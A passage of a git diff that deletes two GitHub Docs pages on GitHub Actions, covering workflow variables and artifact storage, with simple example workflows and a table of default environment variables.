a/content/actions/writing-workflows/choosing-what-your-workflow-does/store-information-in-variables.md b/content/actions/writing-workflows/choosing-what-your-workflow-does/store-information-in-variables.md deleted file mode 100644 index 6706b451a834..000000000000 --- a/content/actions/writing-workflows/choosing-what-your-workflow-does/store-information-in-variables.md +++ /dev/null @@ -1,335 +0,0 @@ ---- -title: Store information in variables -shortTitle: Variables -intro: '{% data variables.product.prodname_dotcom %} sets default variables for each {% data variables.product.prodname_actions %} workflow run. You can also set custom variables for use in a single workflow or multiple workflows.' -redirect_from: - - /github/automating-your-workflow-with-github-actions/using-environment-variables - - /actions/automating-your-workflow-with-github-actions/using-environment-variables - - /actions/configuring-and-managing-workflows/using-environment-variables - - /actions/reference/environment-variables - - /actions/learn-github-actions/environment-variables - - /actions/learn-github-actions/variables - - /actions/writing-workflows/choosing-what-your-workflow-does/variables -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About variables - -Variables provide a way to store and reuse non-sensitive configuration information. You can store any configuration data such as compiler flags, usernames, or server names as variables. Variables are interpolated on the runner machine that runs your workflow. Commands that run in actions or workflow steps can create, read, and modify variables. - -You can set your own custom variables or use the default environment variables that {% data variables.product.prodname_dotcom %} sets automatically. For more information, see [Default environment variables](#default-environment-variables). - -You can set a custom variable in two ways. - -* To define an environment variable for use in a single workflow, you can use the `env` key in the workflow file. For more information, see [Defining environment variables for a single workflow](#defining-environment-variables-for-a-single-workflow). -* To define a configuration variable across multiple workflows, you can define it at the organization, repository, or environment level. For more information, see [Defining configuration variables for multiple workflows](#defining-configuration-variables-for-multiple-workflows). - -> [!WARNING] -> By default, variables render unmasked in your build outputs. If you need greater security for sensitive information, such as passwords, use secrets instead. For more information, see [AUTOTITLE](/actions/security-for-github-actions/security-guides/about-secrets). - -## Defining environment variables for a single workflow - -To set a custom environment variable for a single workflow, you can define it using the `env` key in the workflow file. The scope of a custom variable set by this method is limited to the element in which it is defined. You can define variables that are scoped for: - -* The entire workflow, by using [`env`](/actions/using-workflows/workflow-syntax-for-github-actions#env) at the top level of the workflow file. -* The contents of a job within a workflow, by using [`jobs.<job_id>.env`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idenv). -* A specific step within a job, by using [`jobs.<job_id>.steps[*].env`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsenv). - -{% raw %} - -```yaml copy -name: Greeting on variable day - -on: - workflow_dispatch - -env: - DAY_OF_WEEK: Monday - -jobs: - greeting_job: - runs-on: ubuntu-latest - env: - Greeting: Hello - steps: - - name: "Say Hello Mona it's Monday" - run: echo "$Greeting $First_Name. Today is $DAY_OF_WEEK!" - env: - First_Name: Mona -``` - -{% endraw %} - -You can access `env` variable values using runner environment variables or using contexts. The example above shows three custom variables being used as runner environment variables in an `echo` command: `$DAY_OF_WEEK`, `$Greeting`, and `$First_Name`. The values for these variables are set, and scoped, at the workflow, job, and step level respectively. The interpolation of these variables happens on the runner. - -The commands in the `run` steps of a workflow, or a referenced action, are processed by the shell you are using on the runner. The instructions in the other parts of a workflow are processed by {% data variables.product.prodname_actions %} and are not sent to the runner. You can use either runner environment variables or contexts in `run` steps, but in the parts of a workflow that are not sent to the runner you must use contexts to access variable values. For more information, see [Using contexts to access variable values](#using-contexts-to-access-variable-values). - -Because runner environment variable interpolation is done after a workflow job is sent to a runner machine, you must use the appropriate syntax for the shell that's used on the runner. In this example, the workflow specifies `ubuntu-latest`. By default, Linux runners use the bash shell, so you must use the syntax `$NAME`. By default, Windows runners use PowerShell, so you would use the syntax `$env:NAME`. For more information about shells, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsshell). - -### Naming conventions for environment variables - -When you set an environment variable, you cannot use any of the default environment variable names. For a complete list of default environment variables, see [Default environment variables](#default-environment-variables) below. If you attempt to override the value of one of these default variables, the assignment is ignored. - -> [!NOTE] -> You can list the entire set of environment variables that are available to a workflow step by using <span style="white-space: nowrap;">`run: env`</span> in a step and then examining the output for the step. - -## Defining configuration variables for multiple workflows - -You can create configuration variables for use across multiple workflows, and can define them at either the [organization](#creating-configuration-variables-for-an-organization), [repository](#creating-configuration-variables-for-a-repository), or [environment](#creating-configuration-variables-for-an-environment) level. - -For example, you can use configuration variables to set default values for parameters passed to build tools at an organization level, but then allow repository owners to override these parameters on a case-by-case basis. - -When you define configuration variables, they are automatically available in the `vars` context. For more information, see [Using the `vars` context to access configuration variable values](#using-the-vars-context-to-access-configuration-variable-values). - -### Configuration variable precedence - -If a variable with the same name exists at multiple levels, the variable at the lowest level takes precedence. For example, if an organization-level variable has the same name as a repository-level variable, then the repository-level variable takes precedence. Similarly, if an organization, repository, and environment all have a variable with the same name, the environment-level variable takes precedence. - -For reusable workflows, the variables from the caller workflow's repository are used. Variables from the repository that contains the called workflow are not made available to the caller workflow. - -### Naming conventions for configuration variables - -The following rules apply to configuration variable names: - -{% data reusables.actions.actions-secrets-and-variables-naming %} - -### Creating configuration variables for a repository - -{% data reusables.actions.permissions-statement-secrets-variables-repository %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.actions.sidebar-secrets-and-variables %} -{% data reusables.actions.actions-variables-tab %} - ![Screenshot of the "Actions secrets and variables" page. The "Variables" tab is outlined in dark orange.](/assets/images/help/repository/actions-variables-tab.png) -1. Click **New repository variable**. -{% data reusables.actions.variable-fields %} -1. Click **Add variable**. - -### Creating configuration variables for an environment - -{% data reusables.actions.permissions-statement-secrets-environment %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.actions.sidebar-environment %} -1. Click on the environment that you want to add a variable to. -1. Under **Environment variables**, click **Add variable**. -{% data reusables.actions.variable-fields %} -1. Click **Add variable**. - -### Creating configuration variables for an organization - -{% data reusables.actions.actions-secrets-variables-repository-access %} - -{% data reusables.actions.permissions-statement-secrets-and-variables-organization %} - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.actions.sidebar-secrets-and-variables %} -{% data reusables.actions.actions-variables-tab %} - - ![Screenshot of the "Actions secrets and variables" page. The "Variables" tab is outlined in dark orange.](/assets/images/help/repository/actions-variables-tab.png) - - {% data reusables.actions.secrets-and-variables-org-permissions %} -1. Click **New organization variable**. -{% data reusables.actions.variable-fields %} -1. From the **Repository access** dropdown list, choose an access policy. -1. Click **Add variable**. - -### Limits for configuration variables - -{% ifversion ghes %} - -Individual variables are limited to 48 KB in size. - -You can store up to 1,000 organization variables, 500 variables per repository, and 100 variables per environment. The total combined size limit for organization and repository variables is 10 MB per workflow run. - -A workflow created in a repository can access the following number of variables: - -* Up to 500 repository variables, if the total size of repository variables is less than 10 MB. If the total size of repository variables exceeds 10 MB, only the repository variables that fall below the limit will be available (as sorted alphabetically by variable name). -* Up to 1,000 organization variables, if the total combined size of repository and organization variables is less than 10 MB. If the total combined size of organization and repository variables exceeds 10 MB, only the organization variables that fall below that limit will be available (after accounting for repository variables and as sorted alphabetically by variable name). -* Up to 100 environment-level variables. - -> [!NOTE] -> Environment-level variables do not count toward the 10 MB total size limit. If you exceed the combined size limit for repository and organization variables and still need additional variables, you can use an environment and define additional variables in the environment. - -{% else %} - -Individual variables are limited to 48 KB in size. - -You can store up to 1,000 organization variables, 500 variables per repository, and 100 variables per environment. The total combined size limit for organization and repository variables is 256 KB per workflow run. - -A workflow created in a repository can access the following number of variables: - -* Up to 500 repository variables, if the total size of repository variables is less than 256 KB. If the total size of repository variables exceeds 256 KB, only the repository variables that fall below the limit will be available (as sorted alphabetically by variable name). -* Up to 1,000 organization variables, if the total combined size of repository and organization variables is less than 256 KB. If the total combined size of organization and repository variables exceeds 256 KB, only the organization variables that fall below that limit will be available (after accounting for repository variables and as sorted alphabetically by variable name). -* Up to 100 environment-level variables. - -> [!NOTE] -> Environment-level variables do not count toward the 256 KB total size limit. If you exceed the combined size limit for repository and organization variables and still need additional variables, you can use an environment and define additional variables in the environment. - -{% endif %} - -## Using contexts to access variable values - -{% data reusables.actions.actions-contexts-about-description %} For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts). There are many other contexts that you can use for a variety of purposes in your workflows. For details of where you can use specific contexts within a workflow, see [AUTOTITLE](/actions/learn-github-actions/contexts#context-availability). - -You can access environment variable values using the `env` context and configuration variable values using the `vars` context. - -### Using the `env` context to access environment variable values - -In addition to runner environment variables, {% data variables.product.prodname_actions %} allows you to set and read `env` key values using contexts. Environment variables and contexts are intended for use at different points in the workflow. - -The `run` steps in a workflow, or in a referenced action, are processed by a runner. As a result, you can use runner environment variables here, using the appropriate syntax for the shell you are using on the runner - for example, `$NAME` for the bash shell on a Linux runner, or `$env:NAME` for PowerShell on a Windows runner. In most cases you can also use contexts, with the syntax {% raw %}`${{ CONTEXT.PROPERTY }}`{% endraw %}, to access the same value. The difference is that the context will be interpolated and replaced by a string before the job is sent to a runner. - -However, you cannot use runner environment variables in parts of a workflow that are processed by {% data variables.product.prodname_actions %} and are not sent to the runner. Instead, you must use contexts. For example, an `if` conditional, which determines whether a job or step is sent to the runner, is always processed by {% data variables.product.prodname_actions %}. You must therefore use a context in an `if` conditional statement to access the value of an variable. - -{% raw %} - -```yaml copy -name: Conditional env variable - -on: workflow_dispatch - -env: - DAY_OF_WEEK: Monday - -jobs: - greeting_job: - runs-on: ubuntu-latest - env: - Greeting: Hello - steps: - - name: "Say Hello Mona it's Monday" - if: ${{ env.DAY_OF_WEEK == 'Monday' }} - run: echo "$Greeting $First_Name. Today is $DAY_OF_WEEK!" - env: - First_Name: Mona -``` - -{% endraw %} - -In this modification of the earlier example, we've introduced an `if` conditional. The workflow step is now only run if `DAY_OF_WEEK` is set to "Monday". We access this value from the `if` conditional statement by using the [`env` context](/actions/learn-github-actions/contexts#env-context). The `env` context is not required for the variables referenced within the `run` command. They are referenced as runner environment variables and are interpolated after the job is received by the runner. We could, however, have chosen to interpolate those variables before sending the job to the runner, by using contexts. The resulting output would be the same. - -{% raw %} - -```yaml -run: echo "${{ env.Greeting }} ${{ env.First_Name }}. Today is ${{ env.DAY_OF_WEEK }}!" -``` - -{% endraw %} - -> [!NOTE] -> Contexts are usually denoted using the dollar sign and curly braces, as {% raw %}`${{ context.property }}`{% endraw %}. In an `if` conditional, the {% raw %}`${{` and `}}`{% endraw %} are optional, but if you use them they must enclose the entire comparison statement, as shown above. - -You will commonly use either the `env` or `github` context to access variable values in parts of the workflow that are processed before jobs are sent to runners. - -| Context | Use case | Example | -| --- | --- | --- | -| `env` | Reference custom variables defined in the workflow. | <span style="white-space: nowrap;">{% raw %}`${{ env.MY_VARIABLE }}`{% endraw %}</span> | -| `github` | Reference information about the workflow run and the event that triggered the run. | <span style="white-space: nowrap;">{% raw %}`${{ github.repository }}`{% endraw %}</span> | - -{% data reusables.actions.context-injection-warning %} - -### Using the `vars` context to access configuration variable values - -Configuration variables can be accessed across the workflow using `vars` context. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts#vars-context). - -{% data reusables.actions.actions-vars-context-example-usage %} - -## Default environment variables - -The default environment variables that {% data variables.product.prodname_dotcom %} sets are available to every step in a workflow. - -Because default environment variables are set by {% data variables.product.prodname_dotcom %} and not defined in a workflow, they are not accessible through the `env` context. However, most of the default variables have a corresponding, and similarly named, context property. For example, the value of the `GITHUB_REF` variable can be read during workflow processing using the {% raw %}`${{ github.ref }}`{% endraw %} context property. - -{% data reusables.actions.environment-variables-are-fixed %} For more information about setting environment variables, see [Defining environment variables for a single workflow](#defining-environment-variables-for-a-single-workflow) and [AUTOTITLE](/actions/using-workflows/workflow-commands-for-github-actions#setting-an-environment-variable). - -We strongly recommend that actions use variables to access the filesystem rather than using hardcoded file paths. {% data variables.product.prodname_dotcom %} sets variables for actions to use in all runner environments. - -| Variable | Description | -| ---------|------------ | -| `CI` | Always set to `true`. | -| `GITHUB_ACTION` | The name of the action currently running, or the [`id`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsid) of a step. For example, for an action, `__repo-owner_name-of-action-repo`.<br><br>{% data variables.product.prodname_dotcom %} removes special characters, and uses the name `__run` when the current step runs a script without an `id`. If you use the same script or action more than once in the same job, the name will include a suffix that consists of the sequence number preceded by an underscore. For example, the first script you run will have the name `__run`, and the second script will be named `__run_2`. Similarly, the second invocation of `actions/checkout` will be `actionscheckout2`. | -| `GITHUB_ACTION_PATH` | The path where an action is located. This property is only supported in composite actions. You can use this path to change directories to where the action is located and access other files in that same repository. For example, `/home/runner/work/_actions/repo-owner/name-of-action-repo/v1`. | -| `GITHUB_ACTION_REPOSITORY` | For a step executing an action, this is the owner and repository name of the action. For example, `actions/checkout`. | -| `GITHUB_ACTIONS` | Always set to `true` when {% data variables.product.prodname_actions %} is running the workflow. You can use this variable to differentiate when tests are being run locally or by {% data variables.product.prodname_actions %}. | -| `GITHUB_ACTOR` | The name of the person or app that initiated the workflow. For example, `octocat`. | -| `GITHUB_ACTOR_ID` | {% data reusables.actions.actor_id-description %} | -| `GITHUB_API_URL` | Returns the API URL. For example: `{% data variables.product.rest_url %}`. | -| `GITHUB_BASE_REF` | The name of the base ref or target branch of the pull request in a workflow run. This is only set when the event that triggers a workflow run is either `pull_request` or `pull_request_target`. For example, `main`. | -| `GITHUB_ENV` | The path on the runner to the file that sets variables from workflow commands. The path to this file is unique to the current step and changes for each step in a job. For example, `/home/runner/work/_temp/_runner_file_commands/set_env_87406d6e-4979-4d42-98e1-3dab1f48b13a`. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-commands-for-github-actions#setting-an-environment-variable). | -| `GITHUB_EVENT_NAME` | The name of the event that triggered the workflow. For example, `workflow_dispatch`. | -| `GITHUB_EVENT_PATH` | The path to the file on the runner that contains the full event webhook payload. For example, `/github/workflow/event.json`. | -| `GITHUB_GRAPHQL_URL` | Returns the GraphQL API URL. For example: `{% data variables.product.graphql_url %}`. | -| `GITHUB_HEAD_REF` | The head ref or source branch of the pull request in a workflow run. This property is only set when the event that triggers a workflow run is either `pull_request` or `pull_request_target`. For example, `feature-branch-1`. | -| `GITHUB_JOB` | The [job_id](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_id) of the current job. For example, `greeting_job`. | -| `GITHUB_OUTPUT` | The path on the runner to the file that sets the current step's outputs from workflow commands. The path to this file is unique to the current step and changes for each step in a job. For example, `/home/runner/work/_temp/_runner_file_commands/set_output_a50ef383-b063-46d9-9157-57953fc9f3f0`. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-commands-for-github-actions#setting-an-output-parameter). | -| `GITHUB_PATH` | The path on the runner to the file that sets system `PATH` variables from workflow commands. The path to this file is unique to the current step and changes for each step in a job. For example, `/home/runner/work/_temp/_runner_file_commands/add_path_899b9445-ad4a-400c-aa89-249f18632cf5`. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-commands-for-github-actions#adding-a-system-path). | -| `GITHUB_REF` | {% data reusables.actions.ref-description %} | -| `GITHUB_REF_NAME` | {% data reusables.actions.ref_name-description %} | -| `GITHUB_REF_PROTECTED` | {% data reusables.actions.ref_protected-description %} | -| `GITHUB_REF_TYPE` | {% data reusables.actions.ref_type-description %} | -| `GITHUB_REPOSITORY` | The owner and repository name. For example, `octocat/Hello-World`. | -| `GITHUB_REPOSITORY_ID` | {% data reusables.actions.repository_id-description %} | -| `GITHUB_REPOSITORY_OWNER` | The repository owner's name. For example, `octocat`. | -| `GITHUB_REPOSITORY_OWNER_ID` | {% data reusables.actions.repository_owner_id-description %} | -| `GITHUB_RETENTION_DAYS` | The number of days that workflow run logs and artifacts are kept. For example, `90`. | -| `GITHUB_RUN_ATTEMPT` | A unique number for each attempt of a particular workflow run in a repository. This number begins at 1 for the workflow run's first attempt, and increments with each re-run. For example, `3`. | -| `GITHUB_RUN_ID` | {% data reusables.actions.run_id_description %} For example, `1658821493`. | -| `GITHUB_RUN_NUMBER` | {% data reusables.actions.run_number_description %} For example, `3`. | -| `GITHUB_SERVER_URL`| The URL of the {% data variables.product.github %} server. For example: `https://{% data variables.product.product_url %}`. | -| `GITHUB_SHA` | {% data reusables.actions.github_sha_description %} | -| `GITHUB_STEP_SUMMARY` | The path on the runner to the file that contains job summaries from workflow commands. The path to this file is unique to the current step and changes for each step in a job. For example, `/home/runner/_layout/_work/_temp/_runner_file_commands/step_summary_1cb22d7f-5663-41a8-9ffc-13472605c76c`. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-commands-for-github-actions#adding-a-job-summary). | -| `GITHUB_TRIGGERING_ACTOR` | {% data reusables.actions.github-triggering-actor-description %} | -| `GITHUB_WORKFLOW` | The name of the workflow. For example, `My test workflow`. If the workflow file doesn't specify a `name`, the value of this variable is the full path of the workflow file in the repository. | -| `GITHUB_WORKFLOW_REF` | {% data reusables.actions.workflow-ref-description %} | -| `GITHUB_WORKFLOW_SHA` | {% data reusables.actions.workflow-sha-description %} | -| `GITHUB_WORKSPACE` | The default working directory on the runner for steps, and the default location of your repository when using the [`checkout`](https://github.com/actions/checkout) action. For example, `/home/runner/work/my-repo-name/my-repo-name`. | -| `RUNNER_ARCH` | {% data reusables.actions.runner-arch-description %} | -| `RUNNER_DEBUG` | {% data reusables.actions.runner-debug-description %} | -| `RUNNER_ENVIRONMENT` | {% data reusables.actions.runner-environment-description %} | -| `RUNNER_NAME` | {% data reusables.actions.runner-name-description %} For example, `Hosted Agent` | -| `RUNNER_OS` | {% data reusables.actions.runner-os-description %} For example, `Windows` | -| `RUNNER_TEMP` | {% data reusables.actions.runner-temp-directory-description %} For example, `D:\a\_temp` | -| `RUNNER_TOOL_CACHE` | {% data reusables.actions.runner-tool-cache-description %} For example, `C:\hostedtoolcache\windows` | - -> [!NOTE] -> If you need to use a workflow run's URL from within a job, you can combine these variables: `$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID` - -## Detecting the operating system - -You can write a single workflow file that can be used for different operating systems by using the `RUNNER_OS` default environment variable and the corresponding context property <span style="white-space: nowrap;">{% raw %}`${{ runner.os }}`{% endraw %}</span>. For example, the following workflow could be run successfully if you changed the operating system from `macos-latest` to `windows-latest` without having to alter the syntax of the environment variables, which differs depending on the shell being used by the runner. - -{% raw %} - -```yaml copy -on: workflow_dispatch - -jobs: - if-Windows-else: - runs-on: macos-latest - steps: - - name: condition 1 - if: runner.os == 'Windows' - run: echo "The operating system on the runner is $env:RUNNER_OS." - - name: condition 2 - if: runner.os != 'Windows' - run: echo "The operating system on the runner is not Windows, it's $RUNNER_OS." -``` - -{% endraw %} - -In this example, the two `if` statements check the `os` property of the `runner` context to determine the operating system of the runner. `if` conditionals are processed by {% data variables.product.prodname_actions %}, and only steps where the check resolves as `true` are sent to the runner. Here one of the checks will always be `true` and the other `false`, so only one of these steps is sent to the runner. Once the job is sent to the runner, the step is executed and the environment variable in the `echo` command is interpolated using the appropriate syntax (`$env:NAME` for PowerShell on Windows, and `$NAME` for bash and sh on Linux and macOS). In this example, the statement `runs-on: macos-latest` means that the second step will be run. - -## Passing values between steps and jobs in a workflow - - If you generate a value in one step of a job, you can use the value in subsequent steps of the same job by assigning the value to an existing or new environment variable and then writing this to the `GITHUB_ENV` environment file. The environment file can be used directly by an action, or from a shell command in the workflow file by using the `run` keyword. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-commands-for-github-actions#setting-an-environment-variable). - - If you want to pass a value from a step in one job in a workflow to a step in another job in the workflow, you can define the value as a job output. You can then reference this job output from a step in another job. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idoutputs). diff --git a/content/actions/writing-workflows/choosing-what-your-workflow-does/storing-and-sharing-data-from-a-workflow.md b/content/actions/writing-workflows/choosing-what-your-workflow-does/storing-and-sharing-data-from-a-workflow.md deleted file mode 100644 index 31a570ff3f2f..000000000000 --- a/content/actions/writing-workflows/choosing-what-your-workflow-does/storing-and-sharing-data-from-a-workflow.md +++ /dev/null @@ -1,281 +0,0 @@ ---- -title: Storing and sharing data from a workflow -shortTitle: Store artifacts -intro: Artifacts allow you to share data between jobs in a workflow and store data once that workflow has completed. -redirect_from: - - /articles/persisting-workflow-data-using-artifacts - - /github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts - - /actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts - - /actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts - - /actions/guides/storing-workflow-data-as-artifacts - - /actions/advanced-guides/storing-workflow-data-as-artifacts - - /actions/using-workflows/storing-workflow-data-as-artifacts - - /actions/writing-workflows/choosing-what-your-workflow-does/storing-workflow-data-as-artifacts -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - Workflows ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About workflow artifacts - -Artifacts allow you to persist data after a job has completed, and share that data with another job in the same workflow. An artifact is a file or collection of files produced during a workflow run. For example, you can use artifacts to save your build and test output after a workflow run has ended. {% data reusables.actions.reusable-workflow-artifacts %} - -{% data reusables.actions.artifact-log-retention-statement %} The retention period for a pull request restarts each time someone pushes a new commit to the pull request. - -These are some of the common artifacts that you can upload: - -* Log files and core dumps -* Test results, failures, and screenshots -* Binary or compressed files -* Stress test performance output and code coverage results - -{% ifversion fpt or ghec %} - -Storing artifacts uses storage space on {% data variables.product.github %}. {% data reusables.actions.actions-billing %} For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions). - -{% else %} - -Artifacts consume storage space on the external blob storage that is configured for {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}. - -{% endif %} - -Artifacts are uploaded during a workflow run, and you can view an artifact's name and size in the UI. When an artifact is downloaded using the {% data variables.product.github %} UI, all files that were individually uploaded as part of the artifact get zipped together into a single file. This means that billing is calculated based on the size of the uploaded artifact and not the size of the zip file. - -{% data variables.product.github %} provides two actions that you can use to upload and download build artifacts. For more information, see the {% ifversion fpt or ghec %}[upload-artifact](https://github.com/actions/upload-artifact) and [download-artifact](https://github.com/actions/download-artifact) actions{% else %} `upload-artifact` and `download-artifact` actions on {% data variables.product.prodname_ghe_server %}{% endif %}. - -To share data between jobs: - -* **Uploading files:** Give the uploaded file a name and upload the data before the job ends. -* **Downloading files:** You can only download artifacts that were uploaded during the same workflow run. When you download a file, you can reference it by name. - -The steps of a job share the same environment on the runner machine, but run in their own individual processes. To pass data between steps in a job, you can use inputs and outputs. For more information about inputs and outputs, see [AUTOTITLE](/actions/creating-actions/metadata-syntax-for-github-actions). - -{% data reusables.actions.comparing-artifacts-caching %} - -For more information on dependency caching, see [AUTOTITLE](/actions/using-workflows/caching-dependencies-to-speed-up-workflows#comparing-artifacts-and-dependency-caching). - -## Uploading build and test artifacts - -You can create a continuous integration (CI) workflow to build and test your code. For more information about using {% data variables.product.prodname_actions %} to perform CI, see [AUTOTITLE](/actions/automating-builds-and-tests/about-continuous-integration). - -The output of building and testing your code often produces files you can use to debug test failures and production code that you can deploy. You can configure a workflow to build and test the code pushed to your repository and report a success or failure status. You can upload the build and test output to use for deployments, debugging failed tests or crashes, and viewing test suite coverage. - -You can use the `upload-artifact` action to upload artifacts. When uploading an artifact, you can specify a single file or directory, or multiple files or directories. You can also exclude certain files or directories, and use wildcard patterns. We recommend that you provide a name for an artifact, but if no name is provided then `artifact` will be used as the default name. For more information on syntax, see the {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) action{% else %} `actions/upload-artifact` action on {% data variables.product.prodname_ghe_server %}{% endif %}. - -### Example - -For example, your repository or a web application might contain SASS and TypeScript files that you must convert to CSS and JavaScript. Assuming your build configuration outputs the compiled files in the `dist` directory, you would deploy the files in the `dist` directory to your web application server if all tests completed successfully. - -```text -|-- hello-world (repository) -| └── dist -| └── tests -| └── src -| └── sass/app.scss -| └── app.ts -| └── output -| └── test -| -``` - -This example shows you how to create a workflow for a Node.js project that builds the code in the `src` directory and runs the tests in the `tests` directory. You can assume that running `npm test` produces a code coverage report named `code-coverage.html` stored in the `output/test/` directory. - -The workflow uploads the production artifacts in the `dist` directory, but excludes any markdown files. It also uploads the `code-coverage.html` report as another artifact. - -```yaml copy -name: Node CI - -on: [push] - -jobs: - build_and_test: - runs-on: ubuntu-latest - steps: - - name: Checkout repository - uses: {% data reusables.actions.action-checkout %} - - name: npm install, build, and test - run: | - npm install - npm run build --if-present - npm test - - name: Archive production artifacts - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: dist-without-markdown - path: | - dist - !dist/**/*.md - - name: Archive code coverage results - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: code-coverage-report - path: output/test/code-coverage.html -``` - -{% ifversion artifact-attestations %} - -## Generating artifact attestations for builds - -{% data reusables.actions.about-artifact-attestations %} - -You can access attestations after a build run, underneath the list of the artifacts the build produced. - -For more information, see [AUTOTITLE](/actions/security-guides/using-artifact-attestations-to-establish-provenance-for-builds). - -{% endif %} - -## Configuring a custom artifact retention period - -You can define a custom retention period for individual artifacts created by a workflow. When using a workflow to create a new artifact, you can use `retention-days` with the `upload-artifact` action. This example demonstrates how to set a custom retention period of 5 days for the artifact named `my-artifact`: - -```yaml copy - - name: 'Upload Artifact' - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: my-artifact - path: my_file.txt - retention-days: 5 -``` - -The `retention-days` value cannot exceed the retention limit set by the repository, organization, or enterprise. - -## Downloading or deleting artifacts - -During a workflow run, you can use the [`download-artifact`](https://github.com/actions/download-artifact) action to download artifacts that were previously uploaded in the same workflow run. - -After a workflow run has been completed, you can download or delete artifacts on {% data variables.product.prodname_dotcom %} or using the REST API. For more information, see [AUTOTITLE](/actions/managing-workflow-runs/downloading-workflow-artifacts), [AUTOTITLE](/actions/managing-workflow-runs/removing-workflow-artifacts), and [AUTOTITLE](/rest/actions/artifacts). - -### Downloading artifacts during a workflow run - -The [`actions/download-artifact`](https://github.com/actions/download-artifact) action can be used to download previously uploaded artifacts during a workflow run. - -> [!NOTE] -> {% ifversion fpt or ghec %}If you want to download artifacts from a different workflow or workflow run, you need to supply a token and run identifier. See [Download Artifacts from other Workflow Runs or Repositories](https://github.com/actions/download-artifact?tab=readme-ov-file#download-artifacts-from-other-workflow-runs-or-repositories) in the documentation for the `download-artifact` action. -{% elsif ghes %}You can only download artifacts in a workflow that were uploaded during the same workflow run.{% endif %} - -Specify an artifact's name to download an individual artifact. If you uploaded an artifact without specifying a name, the default name is `artifact`. - -```yaml -- name: Download a single artifact - uses: {% data reusables.actions.action-download-artifact %} - with: - name: my-artifact -``` - -You can also download all artifacts in a workflow run by not specifying a name. This can be useful if you are working with lots of artifacts. - -```yaml -- name: Download all workflow run artifacts - uses: {% data reusables.actions.action-download-artifact %} -``` - -If you download all workflow run's artifacts, a directory for each artifact is created using its name. - -For more information on syntax, see the {% ifversion fpt or ghec %}[actions/download-artifact](https://github.com/actions/download-artifact) action{% else %} `actions/download-artifact` action on {% data variables.product.prodname_ghe_server %}{% endif %}. - -{% ifversion fpt or ghec %} - -## Validating artifacts - -Every time the upload-artifact action is used it returns an output called `digest`. This is a SHA256 digest of the Artifact you uploaded during a workflow run. - -When the download-artifact action is then used to download that artifact, it automatically calculates the digest for that downloaded artifact and validates that it matches the output from the upload-artifact step. - -If the digest does not match, the run will display a warning in the UI and in the job logs. - -To view the SHA256 digest you can open the logs for the upload-artifact job or check in the Artifact output that appears in the workflow run UI. - -{% endif %} - -## Passing data between jobs in a workflow - -You can use the `upload-artifact` and `download-artifact` actions to share data between jobs in a workflow. This example workflow illustrates how to pass data between jobs in the same workflow. For more information, see the {% ifversion fpt or ghec %}[actions/upload-artifact](https://github.com/actions/upload-artifact) and [download-artifact](https://github.com/actions/download-artifact) actions{% else %} `actions/upload-artifact` and `download-artifact` actions on {% data variables.product.prodname_ghe_server %}{% endif %}. - -Jobs that are dependent on a previous job's artifacts must wait for the dependent job to complete successfully. This workflow uses the `needs` keyword to ensure that `job_1`, `job_2`, and `job_3` run sequentially. For example, `job_2` requires `job_1` using the `needs: job_1` syntax. - -Job 1 performs these steps: -* Performs a math calculation and saves the result to a text file called `math-homework.txt`. -* Uses the `upload-artifact` action to upload the `math-homework.txt` file with the artifact name {% ifversion artifacts-v3-deprecation %}`homework_pre`{% else %}`homework`{% endif %}. - -Job 2 uses the result in the previous job: -* Downloads the {% ifversion artifacts-v3-deprecation %}`homework_pre`{% else %}`homework`{% endif %} artifact uploaded in the previous job. By default, the `download-artifact` action downloads artifacts to the workspace directory that the step is executing in. You can use the `path` input parameter to specify a different download directory. -* Reads the value in the `math-homework.txt` file, performs a math calculation, and saves the result to `math-homework.txt` again, overwriting its contents. -* Uploads the `math-homework.txt` file. {% ifversion artifacts-v3-deprecation %}As artifacts are considered immutable in `v4`, the artifact is passed a different input, `homework_final`, as a name.{% else %}This upload overwrites the previously uploaded artifact because they share the same name.{% endif %} - -Job 3 displays the result uploaded in the previous job: -* Downloads the {% ifversion artifacts-v3-deprecation %}`homework_final` artifact from Job 2.{% else %}`homework` artifact.{% endif %} -* Prints the result of the math equation to the log. - -The full math operation performed in this workflow example is `(3 + 7) x 9 = 90`. - -```yaml copy -name: Share data between jobs - -on: [push] - -jobs: - job_1: - name: Add 3 and 7 - runs-on: ubuntu-latest - steps: - - shell: bash - run: | - expr 3 + 7 > math-homework.txt - - name: Upload math result for job 1 - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: {% ifversion artifacts-v3-deprecation %}homework_pre{% else %}homework{% endif %} - path: math-homework.txt - - job_2: - name: Multiply by 9 - needs: job_1 - runs-on: windows-latest - steps: - - name: Download math result for job 1 - uses: {% data reusables.actions.action-download-artifact %} - with: - name: {% ifversion artifacts-v3-deprecation 